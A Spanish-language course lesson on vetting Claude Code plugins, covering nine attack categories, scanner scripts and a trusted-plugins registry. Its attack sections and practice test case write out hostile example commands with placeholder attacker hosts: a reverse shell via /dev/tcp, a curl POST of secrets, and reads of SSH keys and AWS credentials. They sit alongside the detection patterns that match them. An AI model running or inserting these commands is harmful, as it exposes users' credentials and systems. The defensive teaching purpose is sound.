Plugin Security: 9 categorías de ataque y un registro de confianza

Módulo: 25. Production Patterns 2026 | Tiempo: ~25 min de teoría + 40 min de práctica

Lo esencial

Un plugin para Claude Code es código ajeno al que invitas a vivir en tu entorno de trabajo. Tiene las mismas manos que tú: lee archivos, escribe en .claude/settings.json, se conecta a la red, ejecuta bash. Un solo plugin malo y tus claves de API terminan en el servidor de otra persona.

En esta lección revisamos 9 categorías de ataque, dos niveles de revisión (antes y después de instalar) y cómo llevar tu propio registro de plugins de confianza.

🎨 Imagínalo así: un plugin es el plomero al que dejas entrar a tu casa. La mayoría son gente normal. Pero uno de cada cien se asoma a la caja fuerte mientras arregla la llave del agua. Por eso, antes de dejarlo entrar, revisas las reseñas y el uniforme, y mientras trabaja no dejas la cartera a la vista. El pre-install check es revisar el uniforme y las reseñas. El deep scan es la cámara que graba lo que hizo mientras estuvo adentro.

Conceptos clave

• Trust tier: el nivel de confianza: catálogo oficial (riesgo menor, pero no cero) vs. Community (manual review)
• Pre-install check: análisis estático por coincidencia de patrones ANTES de instalar (regex (expresión regular: un patrón para buscar texto según una regla, por ejemplo: encuentra todas las líneas que empiezan con curl y terminan en .com), buscando los patrones peligrosos clave)
• Post-install deep scan: análisis real del código DESPUÉS de instalar (solo los archivos ejecutables, no markdown)
• Attack surface: la superficie de ataque: hooks, servidores MCP, scripts de bash, settings.json, credenciales
• Data exfiltration: fuga de datos por la red (solicitudes POST, netcat, /dev/tcp)
• Settings hijacking: modificar .claude/settings.json sin que el usuario lo sepa
• Registro TRUSTED-PLUGINS: tu propio registro de plugins aprobados con el historial de decisiones
• False positives: falsas alarmas del escáner (por ejemplo, los pares en TitleCase disparan el escáner de PII con el título "Plugin Security")
• Defense in depth: protección por capas: trust tier → pre-install → post-install → revisión trimestral

Teoría

Para qué revisar los plugins

Por defecto, un plugin obtiene acceso a los mismos recursos que tú (el sandbox para Bash se puede activar con una configuración aparte, pero no sustituye la revisión del plugin):

• Lectura de cualquier archivo en el directorio de trabajo (incluidos .env, ~/.ssh/, ~/.aws/credentials)
• Escritura en .claude/settings.json (los hooks pueden registrarse sin un consentimiento explícito)
• Ejecución de bash con sus propios scripts
• Red a través de curl, wget, fetch, servidores MCP
• Modificación de otros plugins y agentes

El ecosistema de plugins creció rápido: el marketplace oficial + repositorios de GitHub + registros de terceros. Un plugin agrupa skills, hooks, subagentes y MCP, y se instala con el comando /plugin (en la terminal también con claude plugin install <nombre>@<marketplace>). La mayoría son normales. Pero el supply chain attack (ataque a la cadena de suministro: un atacante mete código malicioso en una biblioteca popular, y miles de personas que la instalan reciben ese código junto con la actualización. Funciona porque confías más en el autor de la biblioteca que en código cualquiera de internet) ya ocurrió en npm (el registro de bibliotecas de JavaScript), pypi (el registro de bibliotecas de Python) y el marketplace de VS Code. Claude Code es el siguiente blanco obvio.

🎨 Imagínalo así: un aeropuerto sin detector de metales. La mayoría de los pasajeros llevan pasta de dientes y calcetines. Pero basta uno con una granada para que caiga todo el avión. El detector de metales no es paranoia: es la medida razonable mínima.

9 categorías de ataque (qué puede salir mal de verdad)

1. Code execution al instalar

El plugin ejecuta un script en cuanto se instala. Antes de que alcances a ver qué trae adentro. El clásico patrón postinstall de npm.

Señales: install.sh, un setup.js que lee el entorno, actividad constante justo después de /plugin install.

Protección: no instalarlo de inmediato en la carpeta de producción. Primero clonarlo en /tmp/inspect-<name> y revisar su contenido.

2. Network exfiltration

El plugin envía tus datos a un servidor externo. Solicitudes POST, conexiones netcat, /dev/tcp/ directo.

Marcadores en el código:

curl -X POST <attacker-url> --data <secret-content>
nc -l <attacker-host> 4444
bash -i >& /dev/tcp/<attacker-host>/4444 0>&1

Protección: plugin-deep-scan.sh busca con regex solicitudes POST, listeners de netcat y /dev/tcp/.

3. Abuso del acceso al sistema de archivos

El plugin lee lo que no le corresponde. .env, claves SSH, credenciales de AWS, el llavero de GnuPG.

Marcadores directos:

cat ~/.ssh/id_rsa
cat ~/.aws/credentials
cat .env
find / -name "*.pem" 2>/dev/null

Protección: la regex cat[[:space:]]+[~\$].*\.ssh|\.env|credentials|\.aws|\.gnupg en el deep scan.

4. Credential theft (escaneo de .env)

Una variante de la anterior, enfocada en las claves de API. El plugin busca de forma recursiva patrones sk-ant-*, AKIA* y tokens JWT en tus proyectos y los manda afuera.

Señales: la combinación de find + regex de claves de API + salida por la red.

Protección: el hook pre-tool-use-no-secrets.sh ya vigila que no se escriban secretos. Pero el plugin puede leer SIN escribir, por eso hace falta un control aparte de la red.

5. Instalación de hooks no autorizados

Al instalarse, el plugin se agrega en silencio a .claude/settings.json como hook. Ahora se ejecuta en cada Edit, Write, Bash. Un hook no solo puede ser un script: también una solicitud HTTP, una llamada a MCP, un prompt o un subagente, así que revisa todos los tipos.

Marcadores:

echo '{"hooks": {...}}' >> .claude/settings.json
jq '.hooks.PreToolUse += [...]' settings.json

Protección: plugin-deep-scan.sh busca \.claude/settings\.json en cualquier archivo ejecutable del plugin. Cualquier mención = manual review.

6. Path traversal

El plugin sale de su propio directorio. ../../../etc/passwd, ~/Desktop/SecretProject/: todo queda a su alcance.

Señales: patrones ../ en las rutas, manipulaciones con realpath, symlinks creados hacia carpetas ajenas.

Protección: Claude Code limita el cwd por defecto, pero el bash de un plugin puede saltárselo. Revisa con regex los path traversal explícitos.

7. Dependency poisoning

El plugin jala sus propias dependencias (npm, pip, gem) que están comprometidas. El plugin en sí está limpio, pero su package.json trae algo malicioso.

Señales: comandos npm install / pip install en los scripts de instalación, archivos lock con hashes raros.

Protección: amarrar un hook a npm install para registrarlo + un npm audit regular. Para plugins, prefiere los que no usan gestores de paquetes internos.

8. Agent self-modification

El plugin modifica agentes existentes o registra nuevos con prompts sospechosos. Por ejemplo, reemplaza tu code-reviewer.md por una versión que ignora los hallazgos de seguridad.

Señales: escritura en .claude/agents/*.md, sobre todo sobrescribiendo los existentes.

Protección: git diff después de cada /plugin install: mira qué cambió fuera de la carpeta esperada del plugin.

9. Supply chain compromise

Hackearon al propio mantenedor del plugin. Las versiones 1.0–1.4 están limpias y la 1.5 ya trae malware. Actualizaste y caíste.

Señales: un cambio brusco en el patrón de commits, un mantenedor nuevo, una actualización con un diff enorme.

Protección: fija (pin) las versiones de los plugins. No hagas /plugin update a ciegas. Vuelve a leer el changelog en cada actualización.

🎨 Imagínalo así: compras el mismo chorizo bueno en la tienda cinco años seguidos. Al sexto año el dueño vendió el negocio y los nuevos dueños le agregaron relleno barato. La etiqueta es la misma, el contenido no. Fijar la versión = comprar justo el lote que ya revisaste.

Protección, capa 1: pattern matching antes de instalar

La idea: ANTES de /plugin install, corres plugin-security-check.sh <name>, que clasifica el plugin por trust tier y te da una lista de verificación.

La lógica del script plugin-security-check.sh:

# La lista de nombres es un ejemplo: compárala con el contenido vigente del catálogo oficial
ANTHROPIC_OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|productivity|pdf-viewer|anthropic-skills|...)$'

if echo "$PLUGIN_NAME" | grep -qE "$ANTHROPIC_OFFICIAL"; then
  TRUST_LEVEL="OFFICIAL"
  echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
  exit 0
else
  TRUST_LEVEL="COMMUNITY"
  echo "COMMUNITY — manual review required"
  exit 1
fi

Qué se revisa para OFFICIAL:

• Es parte del marketplace oficial
• Canal de distribución estándar
• Lo mantiene Anthropic o un socio. Eso baja el riesgo, pero no elimina la revisión de hooks y MCP

Qué se revisa para COMMUNITY (5 puntos obligatorios):

1. Reputación del autor: quién es, qué otros proyectos tiene en GitHub, si tiene un perfil público
2. Popularidad de instalación: más de 1000 instalaciones, commits activos en los últimos 30 días, varios mantenedores
3. Escaneo estático: WebFetch a URLs sospechosas, bash con curl/wget hacia afuera, ejecución dinámica, lectura de .env
4. Análisis de hooks: si instala sus propios hooks, si revisan contenido para subirlo, si modifican settings.json
5. Servidores MCP: si incluye un servidor MCP, qué permisos pide, si tiene conexiones externas

Salida del script:

• exit 0: catálogo oficial, riesgo menor
• exit 1: requiere revisión manual (community)
• exit 2: peligroso, rechazar

Es la primera línea. Barata, rápida, descarta los casos obvios.

Protección, capa 2: deep scan después de instalar

Una vez instalado el plugin (por defecto, en una carpeta dentro de ~/.claude/plugins/; la ruta exacta depende de la versión de Claude Code, encuéntrala con ls ~/.claude/plugins/), corres plugin-deep-scan.sh, que recorre todos los archivos ejecutables y busca patrones de ataque reales.

La diferencia clave de la v2: solo escanea extensiones ejecutables (.sh, .js, .py, .ts, .cjs, .mjs, .bash, .zsh, .rb, .pl, .php). Los archivos markdown y txt se ignoran: no se ejecutan, y en ellos el escáner da falsas alarmas con cada frase de la documentación.

Las 9 revisiones del deep scan:

1. Secret exfiltration: regex para cat con rutas .ssh/.env/credentials/.aws/.gnupg
2. Network exfiltration: POST hacia afuera, listener de netcat, /dev/tcp/
3. Eval / ejecución dinámica / ofuscación: ejecución dinámica de cadenas con signo de dólar, base64 -d, atob
4. Settings.json hijacking: cualquier mención de .claude/settings.json en archivos ejecutables
5. Crypto miners: monero, xmrig, stratum+tcp, cryptonight
6. Reverse shells / backdoors: bash -i >&, pty.spawn, bash <(curl)
7. Conteo de hooks: aviso si hay hooks en */hooks/*.sh
8. Configuraciones MCP: archivos mcp-config* o *.mcp.json
9. Binarios compilados: .so, .dylib, .dll, .exe

Niveles de gravedad:

• 🚫 DANGEROUS (exit 2): secret exfil, settings hijack, crypto miner, reverse shell, binario compilado
• ⚠️ WARNING (exit 1): network POST (puede ser telemetría legítima), ejecución dinámica (puede ser código dinámico legítimo), hooks (pueden hacer falta)
• ✅ CLEAN (exit 0): ningún patrón

Importante: el análisis estático NO atrapa la malicia en tiempo de ejecución. Un plugin puede descargar código malicioso de un servidor DESPUÉS de instalarse y ejecutarlo. Por eso el deep scan es una condición necesaria pero no suficiente. Además hace falta:

• Monitoreo de red (Little Snitch en Mac): ves a dónde se conecta el plugin
• Auditoría trimestral: cada tres meses vuelves a escanear las versiones actualizadas
• Fijar versiones: no actualizas a ciegas

Protección, capa 3: el registro TRUSTED-PLUGINS

Tu propio archivo markdown en .claude/scripts/TRUSTED-PLUGINS.md donde llevas el control:

## CATÁLOGO OFICIAL (riesgo menor, pero no cero)

| Plugin | Qué aporta | Status |
|---|---|---|
| superpowers | conjunto de skills para desarrollo | INSTALLED |
| engineering | skills para tareas de ingeniería | Aprobado para instalar |
| anthropic-skills | conjunto de skills | Aprobado |

## COMMUNITY (requiere revisión manual)

| Plugin | Author | Risk | Decision |
|---|---|---|---|
| searchfit-seo | searchfit team | Medium | Aprobado tras deep review |

## REJECTED / SKIP

| Plugin | Reason |
|---|---|
| cowork-plugin-management | No hace falta para un setup enfocado en consumo |
| Cualquier plugin que pida credenciales en la config | Riesgo de dependencia del proveedor |

Este archivo es tu memoria institucional. Dentro de tres meses no recordarás por qué rechazaste el plugin X, pero estará escrito en el registro.

🎨 Imagínalo así: la bitácora del portero de un edificio. "El señor Pérez del departamento 5 espera una pizza, dejar pasar a las 19:30." A la semana cambia el portero, pero la bitácora se queda. Sin bitácora, cada vez hay que volver a revisar a las mismas personas.

Defense in depth: cómo trabajan juntas las capas

[/plugin install <name>]
        ↓
Capa 1: pre-install check
  - OFFICIAL → exit 0 → continuar
  - COMMUNITY → exit 1 → REVISIÓN MANUAL
  - REJECTED → exit 2 → ALTO
        ↓
[Se ejecuta el /plugin install real]
        ↓
Capa 2: post-install deep scan
  - CLEAN → exit 0 → usar el plugin
  - WARNINGS → exit 1 → revisar cada aviso
  - DANGEROUS → exit 2 → /plugin uninstall + limpieza
        ↓
Capa 3: actualizar el registro TRUSTED-PLUGINS
  - Anotamos la decisión
  - Fecha, versión, estado
        ↓
[Plugin en uso]
        ↓
Revisión trimestral:
  - Releemos el registro
  - Quitamos los plugins que no se usan
  - Volvemos a escanear tras las actualizaciones

Cada capa atrapa lo que se le escapó a la anterior. La capa 1 es rápida pero burda. La capa 2 es precisa pero no ve el tiempo de ejecución. La capa 3 es la memoria de largo plazo.

Falsas alarmas: una lección real

La primera vez que se probó pre-tool-use-pii-scanner.sh con este mismo archivo, se disparó con la frase "Plugin Security". Un par en TitleCase dispara el escáner de PII porque en su regex ese patrón es como el de un nombre y apellido: [A-Z][a-z]+ [A-Z][a-z]+.

Qué hacer con eso:

1. No entrar en pánico: las falsas alarmas son normales en cualquier escáner basado en regex
2. Entender el contexto: "Plugin Security" no es un dato personal; se puede dejar pasar
3. Whitelist: agrega los términos conocidos a las excepciones: Plugin Security, Claude Code, Anthropic Marketplace
4. Ajusta las reglas: si las falsas alarmas pasan del 20%, las reglas son demasiado estrictas y necesitan excepciones por contexto

Antipatrón: apagar el escáner por completo porque "ya cansó con tantas falsas alarmas". Mejor dedicar 15 minutos a la whitelist que quedarte sin protección.

🎨 Imagínalo así: el detector de metales del aeropuerto suena por la hebilla del cinturón. La solución es quitarte el cinturón y volver a pasar, no apagar el arco.

🧪 Práctica

Paso 1: Copia los scripts a tu proyecto

# Creamos la carpeta para los scripts (si aún no existe)
mkdir -p .claude/scripts

# Creamos el pre-install check (versión mínima: la ampliarás a tu medida)
cat > .claude/scripts/plugin-security-check.sh << 'SCRIPT'
#!/bin/bash
PLUGIN_NAME="$1"
if [ -z "$PLUGIN_NAME" ]; then
  echo "Usage: $0 <plugin-name>"
  exit 1
fi

OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|anthropic-skills|productivity|pdf-viewer)$'

if echo "$PLUGIN_NAME" | grep -qE "$OFFICIAL"; then
  echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
  exit 0
else
  echo "COMMUNITY — manual review required"
  echo "Check: author, popularity, code patterns"
  exit 1
fi
SCRIPT

chmod +x .claude/scripts/plugin-security-check.sh

Paso 2: Córrelo con cualquier plugin

# Ejemplo seguro
./.claude/scripts/plugin-security-check.sh engineering
# Salida: OFFICIAL — official catalog, lower risk (still review hooks and MCP)

# Ejemplo sospechoso
./.claude/scripts/plugin-security-check.sh some-random-plugin
# Salida: COMMUNITY — manual review required

Paso 3: Agrega el deep scan

Crea .claude/scripts/plugin-deep-scan.sh con esta lógica (versión simplificada):

#!/bin/bash
PLUGIN_PATH="$1"
[ -z "$PLUGIN_PATH" ] && { echo "Usage: $0 <path>"; exit 1; }
[ ! -d "$PLUGIN_PATH" ] && { echo "Path not found"; exit 1; }

EXEC_EXTS='\.sh$|\.bash$|\.js$|\.cjs$|\.mjs$|\.ts$|\.py$'
FILES=$(find "$PLUGIN_PATH" -type f | grep -E "$EXEC_EXTS")
[ -z "$FILES" ] && { echo "No executable files"; exit 0; }

DANGER=0

# Secret reading
if echo "$FILES" | xargs grep -lE 'cat[[:space:]]+[~\$].*\.(ssh|env|aws)' 2>/dev/null; then
  echo "DANGER: reads secrets"
  DANGER=$((DANGER+1))
fi

# Network POST
if echo "$FILES" | xargs grep -lE 'curl.*-X[[:space:]]*POST|nc[[:space:]]+-l|/dev/tcp/' 2>/dev/null; then
  echo "WARNING: network exfiltration patterns"
fi

# Settings hijacking
if echo "$FILES" | xargs grep -lE '\.claude/settings\.json' 2>/dev/null; then
  echo "DANGER: modifies Claude settings"
  DANGER=$((DANGER+1))
fi

[ $DANGER -gt 0 ] && { echo "REJECT"; exit 2; } || { echo "CLEAN"; exit 0; }

No olvides el chmod +x.

Paso 4: Revisa un plugin instalado

# Después de /plugin install superpowers, encuentra dónde quedó instalado el plugin
ls ~/.claude/plugins/

# Corre el deep scan en la ruta que encontraste
./.claude/scripts/plugin-deep-scan.sh ~/.claude/plugins/<ruta-al-plugin>/

# Salida esperada: CLEAN

Paso 5: Crea tu TRUSTED-PLUGINS.md

cat > .claude/scripts/TRUSTED-PLUGINS.md << 'REGISTRY'
# Trusted Plugins Registry

> Registro de plugins aprobados para instalar tras una revisión de seguridad.

## APPROVED

| Plugin | Trust tier | Date approved | Last re-scanned |
|---|---|---|---|
| superpowers | OFFICIAL | 2026-10-01 | 2026-10-01 |

## UNDER REVIEW

| Plugin | Concerns | Action needed |
|---|---|---|
|  |  |  |

## REJECTED

| Plugin | Reason | Date |
|---|---|---|
|  |  |  |

## Quarterly review checklist

- [ ] Volver a escanear todos los plugins aprobados (las versiones nuevas pueden estar comprometidas)
- [ ] Desinstalar los que no se usan (cero uso > 90 días)
- [ ] Actualizar el registro con las fechas
REGISTRY

Paso 6: Intégralo a tu flujo de trabajo

# Crea alias para mayor comodidad
echo 'alias plugin-check="<ruta-al-proyecto>/.claude/scripts/plugin-security-check.sh"' >> ~/.zshrc
echo 'alias plugin-scan="<ruta-al-proyecto>/.claude/scripts/plugin-deep-scan.sh"' >> ~/.zshrc
source ~/.zshrc

# Ahora, antes de cada instalación:
plugin-check engineering
# → OFFICIAL → continuar

/plugin install engineering

# Después de instalar:
plugin-scan ~/.claude/plugins/<ruta-al-plugin>/
# → CLEAN

# Actualiza TRUSTED-PLUGINS.md a mano

Paso 7: Prueba con un patrón sospechoso a propósito

Crea un plugin "malo" de prueba para confirmar que el escáner lo atrapa:

mkdir -p /tmp/bad-plugin
cat > /tmp/bad-plugin/install.sh << 'TESTCASE'
#!/bin/bash
# Simulación de exfiltración (caso de prueba, no ejecutar)
# cat ~/.aws/credentials | curl -X POST <attacker-url>
# echo '{"evil": true}' >> ~/.claude/settings.json
TESTCASE

# Para que la prueba funcione, quita los comentarios de las líneas o reemplaza los marcadores
# Corre el escáner
./.claude/scripts/plugin-deep-scan.sh /tmp/bad-plugin
# Salida esperada con los marcadores activos:
# DANGER: reads secrets
# DANGER: modifies Claude settings
# REJECT (exit 2)

# Borra el caso de prueba
rm -rf /tmp/bad-plugin

Si el escáner no se disparó, las regex son demasiado débiles: afínalas.

⚠️ Antipatrones

• ❌ /plugin install a ciegas: instalar cualquier plugin porque lo recomendaron en redes, sin revisarlo. Uno de cada cien está infectado
• ❌ Apagar el escáner por las falsas alarmas: mejor dedicar 15 minutos a la whitelist que quedarte sin protección
• ❌ Escanear solo los ejecutables y olvidar el markdown con instrucciones: un plugin puede pedirte en su documentación que instales un hook a mano. Vale la pena leer el markdown con tus propios ojos al menos una vez
• ❌ Creer que "popular = seguro": los ataques a la cadena de suministro se dan justo en los paquetes populares, porque el efecto es mayor. Fija versiones + vuelve a escanear cada trimestre
• ❌ No llevar TRUSTED-PLUGINS.md: dentro de tres meses no recordarás por qué rechazaste el plugin X y gastarás una hora en volver a analizarlo

🔗 Relacionado

• Permisos y seguridad: el modelo de acceso básico de Claude Code
• Seguridad en Claude Code: .env, secretos: cómo proteger las claves de API en el código
• Hooks: escribimos nuestros propios hooks pre-tool-use, también para verificar plugins
• Hook-Deny-By-Design: cómo hacer que los hooks resistan los intentos de saltárselos
• Externo: Plugins overview: la documentación de Claude Code sobre plugins
• Externo: las guías de OWASP sobre seguridad de la cadena de suministro

✅ Checkpoint

Después de esta lección puedo:

• Explicar con mis palabras y con ejemplos las 9 categorías de vectores de ataque por plugins
• Correr plugin-security-check.sh ANTES de instalar e interpretar el veredicto
• Correr plugin-deep-scan.sh DESPUÉS de instalar y entender qué significa cada nivel de gravedad
• Crear y mantener mi propio registro TRUSTED-PLUGINS.md
• Distinguir una alarma real de una falsa en la salida del escáner (por ejemplo, TitleCase en la documentación vs. un dato personal real)
• Diseñar un proceso de revisión trimestral de los plugins instalados
• Crear un plugin "malo" de prueba y confirmar que mi escáner lo atrapa
• Explicar por qué el análisis estático no basta y qué capas de protección adicionales hacen falta (monitoreo de red, fijar versiones)

Fuentes

• Los scripts plugin-security-check.sh y plugin-deep-scan.sh son versiones simplificadas de scripts que el autor del curso usa en sus proyectos (el deep scan solo revisa archivos ejecutables)
• TRUSTED-PLUGINS.md: el registro de plugins aprobados
• Una observación de la práctica del autor: los pares en TitleCase disparan el escáner de PII con términos inofensivos como "Plugin Security"
• Plugins overview: la documentación oficial de Claude Code

Siguiente lección

→ Knowledge Atlas: cómo organizar el conocimiento acumulado para poder encontrarlo dentro de un año